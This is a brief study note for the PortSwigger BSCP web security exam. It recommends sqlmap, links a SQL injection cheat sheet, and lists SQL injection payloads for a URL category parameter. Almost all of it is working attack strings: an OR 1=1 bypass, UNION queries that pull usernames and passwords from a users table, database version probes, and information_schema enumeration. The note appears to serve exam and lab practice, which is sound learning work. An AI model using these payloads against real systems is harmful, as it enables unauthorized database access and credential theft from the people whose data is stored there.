I recommend using sqlmap for the BSCP exam, it will save you time.

cheatsheet :

https://portswigger.net/web-security/sql-injection/cheat-sheet

payloads :

in the category selection (in the URL)

'+OR+1=1--

' UNION SELECT username, password FROM users--

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+UNION+SELECT+@@version,+NULL#

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--

'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--

'+UNION+SELECT+NULL,NULL,NULL--

'+UNION+SELECT+'abcdef',NULL,NULL--

'+UNION+SELECT+username,+password+FROM+users--

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--